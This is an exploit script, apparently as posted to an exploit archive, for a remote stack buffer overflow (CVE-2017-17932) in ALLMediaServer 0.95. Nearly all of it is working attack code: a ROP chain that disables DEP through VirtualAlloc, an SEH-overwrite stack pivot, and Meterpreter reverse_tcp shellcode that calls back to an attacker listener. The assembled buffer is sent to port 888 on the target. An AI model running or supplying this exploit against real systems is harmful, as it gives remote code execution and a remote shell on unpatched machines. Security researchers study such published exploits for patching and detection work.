ALLMediaServer 0.95 Stack Buffer Overflow

`#!/usr/bin/python  
# Exploit Title: Stack Buffer Overflow in ALLMediaServer 0.95  
# Exploit Author: Mario Kartone Ciccarelli  
# Contact: https://twitter.com/Kartone  
# CVE: CVE-2017-17932  
# Date: 09-01-2018  
# Thanks to PoC: https://www.exploit-db.com/exploits/43406/  
# Software link: http://www.allmediaserver.org/download  
# Version: 0.95  
# Attack: Remote Code Execution  
# Tested on: Windows 7 x64 Ultimate Eng SP1  
  
import sys  
import socket  
import struct  
  
def main():  
  
def create_rop_chain():  
  
rop_gadgets = [  
0x00407f5d, # POP EAX # RETN [MediaServer.exe]  
0x00797250, # ptr to &VirtualAlloc() [IAT MediaServer.exe]  
0x004061db, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MediaServer.exe]  
0x0053bc02, # XCHG EAX,ESI # RETN [MediaServer.exe]  
0x006c71f8, # POP EBP # RETN [MediaServer.exe]  
0x00449a05, # & jmp esp [MediaServer.exe]  
0x0049bbc4, # POP EBX # RETN [MediaServer.exe]  
0x00000001, # 0x00000001-> ebx  
0x00500b33, # POP EDX # RETN [MediaServer.exe]  
0x00001000, # 0x00001000-> edx  
0x006b5c67, # POP ECX # RETN [MediaServer.exe]  
0x00000040, # 0x00000040-> ecx  
0x0042365d, # POP EDI # RETN [MediaServer.exe]  
0x006def0d, # RETN (ROP NOP) [MediaServer.exe]  
0x0040710f, # POP EAX # RETN [MediaServer.exe]  
0x90909090, # nop  
0x0068c35c, # PUSHAD # RETN [MediaServer.exe]  
]  
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)  
  
rop_chain = create_rop_chain()  
  
# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.134 lport=4444 -f python  
shellcode32 = ""  
shellcode32 += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"  
shellcode32 += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"  
shellcode32 += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"  
shellcode32 += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"  
shellcode32 += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"  
shellcode32 += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"  
shellcode32 += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"  
shellcode32 += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"  
shellcode32 += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"  
shellcode32 += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"  
shellcode32 += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"  
shellcode32 += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"  
shellcode32 += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"  
shellcode32 += "\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x86\x68\x02\x00\x11"  
shellcode32 += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"  
shellcode32 += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"  
shellcode32 += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"  
shellcode32 += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"  
shellcode32 += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"  
shellcode32 += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"  
shellcode32 += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"  
shellcode32 += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"  
shellcode32 += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"  
shellcode32 += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"  
shellcode32 += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0"  
shellcode32 += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5"  
  
# Stack-pivot at 0x0042b356 : {pivot 2052 / 0x804} : # ADD ESP,800 # POP EBX # RETN ** [MediaServer.exe] ** | startnull {PAGE_EXECUTE_READ}  
  
size = 3000  
seh_offset = 1072  
sp_offset = 548  
  
buffer = ""  
buffer += "A" * sp_offset  
buffer += rop_chain  
buffer += "\xe9\xcb\x01\x00\x00" # JMP $1d0  
buffer += "A" * (seh_offset - len(buffer))  
buffer += "\xff\xff\xff\xff" # NSEH record  
buffer += struct.pack('<L', 0x0042b356 ) # Stackpivot on SEH record  
buffer += shellcode32  
buffer += "B" * (size - len(buffer))  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1], 888))  
print "[+] AllMediaServer 0.95 Stack Buffer Overflow Exploit"  
print "[+] Sending evil payload to " + sys.argv[1] + "..."  
s.send(buffer)  
s.close()  
  
  
if __name__ == '__main__':  
  
main()  
`